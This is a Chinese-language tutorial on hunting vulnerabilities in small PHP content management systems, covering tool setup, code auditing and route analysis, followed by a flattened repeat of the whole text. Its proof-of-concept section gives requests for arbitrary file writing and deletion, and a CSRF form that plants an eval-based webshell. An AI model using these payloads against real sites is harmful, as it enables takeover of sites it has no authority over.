某次通用型漏洞挖掘思路分享
字数 1910 2025-08-25 22:59:20

通用型漏洞挖掘思路与实战教学文档

0x01 前言

本文档基于某次CMS命令执行漏洞挖掘经验,整理了一套完整的通用型漏洞挖掘方法论,旨在为安全研究人员提供系统性的漏洞挖掘指导。

0x02 挖掘前期准备

一、CMS选择策略

选择标准

  1. 版本选择:优先选择最新版但版本号较低的CMS(如1.1、1.2版本)
  2. 流行度:选择GitHub star数量不多的CMS
  3. 代码量:选择源码总容量较小的项目
  4. 框架依赖:避免选择基于TP、Yii、Laravel等框架的CMS

理由分析

  • 低版本CMS维护频率低,简单漏洞可能未被发现或修复
  • 小众CMS使用人数少,安全研究较少
  • 代码量小的项目审计难度低,适合新手
  • 框架型CMS架构复杂,路由和过滤机制增加审计难度

源码获取渠道

  • GitHub搜索:https://github.com/search?q=cms
  • Gitee搜索:https://search.gitee.com/?skin=rec&type=repository&q=cms
  • 站长下载:https://down.chinaz.com/
  • A5下载站:https://www.a5xiazai.com/

二、环境准备清单

  1. PHP集成环境

    • 推荐:PHPstudy(https://www.xp.cn/
    • 包含PHP、中间件、数据库一体化解决方案
  2. 代码审计工具

    • Seay源代码审计系统(https://github.com/f1tz/cnseay
    • Fortify静态代码分析工具
  3. 渗透测试工具

    • BurpSuite:用于HTTP请求拦截和修改
    • Xray漏洞扫描器(https://github.com/chaitin/xray/releases
  4. 编辑器选择

    • Notepad++:轻量级代码查看
    • PHPStorm:专业级IDE,支持函数跳转

三、环境搭建步骤

  1. 下载源码并解压至PHPstudy的WWW目录
  2. 访问http://127.0.0.1/install/完成安装
  3. 按照提示输入配置信息
  4. 确认安装成功提示

0x03 挖掘中期实战

一、自动化代码审计

  1. 使用Seay自动审计功能扫描整个项目
  2. 重点关注以下高危函数:
    • 文件操作:file_get_contents, file_put_contents, unlink
    • 命令执行:exec, system, passthru
    • 数据库操作:未参数化的SQL查询

二、灰盒测试方法

BurpSuite+Xray联动配置

  1. 浏览器代理设置指向Burp(127.0.0.1:8080)
  2. Burp上游代理指向Xray(127.0.0.1:7777)
  3. 启动Xray被动扫描:
    ./xray_darwin_amd64 webscan --listen 127.0.0.1:7777 --html-output test.html
    
  4. 遍历所有功能点,记录请求响应

三、漏洞分析流程

  1. 验证工具扫描结果

    • 检查变量是否真正可控
    • 确认过滤机制是否可绕过
    • 分析权限校验是否充分
  2. 漏洞定位示例

    $path = realpath($_GET['path']);
    if (!$path) {
        ExitJson('不存在的路径,请求路径:' . $_GET['path']);
    }
    $filecontent1 = file_get_contents($path);
    
    • $path直接来自GET参数
    • 仅验证路径存在性,无内容过滤
  3. 路由分析技巧

    • 观察URL模式:index.php?c=app&a=filesmanager:index
    • 对应文件路径:/app/filesmanager/index.php
    • 通过参数a的值定位控制器文件

四、漏洞验证POC

  1. 任意文件创建

    http://127.0.0.1/index.php?c=app&a=filesmanager:index&type=mkfile&mkname=123.php
    
  2. 任意文件写入

    POST /index.php?c=app&a=filesmanager:index&type=save&path=123.php
    filecontent=<?php phpinfo();?>
    
  3. 任意文件删除

    http://127.0.0.1/index.php?c=app&a=filesmanager:index&type=del&path=123.php
    

五、漏洞组合利用

  1. 任意文件删除+系统重装

    • 删除install.lock文件
    • 触发重装流程
    • 尝试在配置信息中注入恶意代码
    • 实际案例中因过滤严格未能成功
  2. 任意文件写入+CSRF

    <form action="http://target/index.php?c=app&a=filesmanager:index&type=save&path=shell.php" method="POST">
      <input type="hidden" name="filecontent" value="<?php eval($_REQUEST[1]);?>" />
    </form>
    <script>document.forms[0].submit();</script>
    
    • 利用管理员会话自动创建Webshell
    • 无CSRF Token保护

0x04 总结与提升

  1. 漏洞提交:确认漏洞后及时提交至相关平台
  2. 经验积累
    • 从简单CMS入手培养审计直觉
    • 结合黑白盒测试提高效率
    • 关注参数传递链和过滤机制
  3. 进阶方向
    • 研究框架型CMS的审计方法
    • 学习代码流分析和污点追踪技术
    • 开发自动化审计插件

附录:工具链速查表

工具类型 推荐工具 主要用途
集成环境 PHPstudy 快速搭建测试环境
代码审计 Seay/Fortify 静态代码分析
代理工具 BurpSuite 请求拦截修改
漏洞扫描 Xray 自动化漏洞检测
代码编辑 PHPStorm 高效代码审计

通过系统性地应用本方法论,安全研究人员可以逐步建立完整的漏洞挖掘能力,从简单CMS过渡到复杂系统的安全审计。

通用型漏洞挖掘思路与实战教学文档 0x01 前言 本文档基于某次CMS命令执行漏洞挖掘经验,整理了一套完整的通用型漏洞挖掘方法论,旨在为安全研究人员提供系统性的漏洞挖掘指导。 0x02 挖掘前期准备 一、CMS选择策略 选择标准 : 版本选择 :优先选择最新版但版本号较低的CMS(如1.1、1.2版本) 流行度 :选择GitHub star数量不多的CMS 代码量 :选择源码总容量较小的项目 框架依赖 :避免选择基于TP、Yii、Laravel等框架的CMS 理由分析 : 低版本CMS维护频率低,简单漏洞可能未被发现或修复 小众CMS使用人数少,安全研究较少 代码量小的项目审计难度低,适合新手 框架型CMS架构复杂,路由和过滤机制增加审计难度 源码获取渠道 : GitHub搜索: https://github.com/search?q=cms Gitee搜索: https://search.gitee.com/?skin=rec&type=repository&q=cms 站长下载: https://down.chinaz.com/ A5下载站: https://www.a5xiazai.com/ 二、环境准备清单 PHP集成环境 : 推荐:PHPstudy( https://www.xp.cn/ ) 包含PHP、中间件、数据库一体化解决方案 代码审计工具 : Seay源代码审计系统( https://github.com/f1tz/cnseay ) Fortify静态代码分析工具 渗透测试工具 : BurpSuite:用于HTTP请求拦截和修改 Xray漏洞扫描器( https://github.com/chaitin/xray/releases ) 编辑器选择 : Notepad++:轻量级代码查看 PHPStorm:专业级IDE,支持函数跳转 三、环境搭建步骤 下载源码并解压至PHPstudy的WWW目录 访问 http://127.0.0.1/install/ 完成安装 按照提示输入配置信息 确认安装成功提示 0x03 挖掘中期实战 一、自动化代码审计 使用Seay自动审计功能扫描整个项目 重点关注以下高危函数: 文件操作: file_get_contents , file_put_contents , unlink 命令执行: exec , system , passthru 数据库操作:未参数化的SQL查询 二、灰盒测试方法 BurpSuite+Xray联动配置 : 浏览器代理设置指向Burp(127.0.0.1:8080) Burp上游代理指向Xray(127.0.0.1:7777) 启动Xray被动扫描: 遍历所有功能点,记录请求响应 三、漏洞分析流程 验证工具扫描结果 : 检查变量是否真正可控 确认过滤机制是否可绕过 分析权限校验是否充分 漏洞定位示例 : $path 直接来自GET参数 仅验证路径存在性,无内容过滤 路由分析技巧 : 观察URL模式: index.php?c=app&a=filesmanager:index 对应文件路径: /app/filesmanager/index.php 通过参数 a 的值定位控制器文件 四、漏洞验证POC 任意文件创建 : 任意文件写入 : 任意文件删除 : 五、漏洞组合利用 任意文件删除+系统重装 : 删除 install.lock 文件 触发重装流程 尝试在配置信息中注入恶意代码 实际案例中因过滤严格未能成功 任意文件写入+CSRF : 利用管理员会话自动创建Webshell 无CSRF Token保护 0x04 总结与提升 漏洞提交 :确认漏洞后及时提交至相关平台 经验积累 : 从简单CMS入手培养审计直觉 结合黑白盒测试提高效率 关注参数传递链和过滤机制 进阶方向 : 研究框架型CMS的审计方法 学习代码流分析和污点追踪技术 开发自动化审计插件 附录:工具链速查表 | 工具类型 | 推荐工具 | 主要用途 | |---------|---------|---------| | 集成环境 | PHPstudy | 快速搭建测试环境 | | 代码审计 | Seay/Fortify | 静态代码分析 | | 代理工具 | BurpSuite | 请求拦截修改 | | 漏洞扫描 | Xray | 自动化漏洞检测 | | 代码编辑 | PHPStorm | 高效代码审计 | 通过系统性地应用本方法论,安全研究人员可以逐步建立完整的漏洞挖掘能力,从简单CMS过渡到复杂系统的安全审计。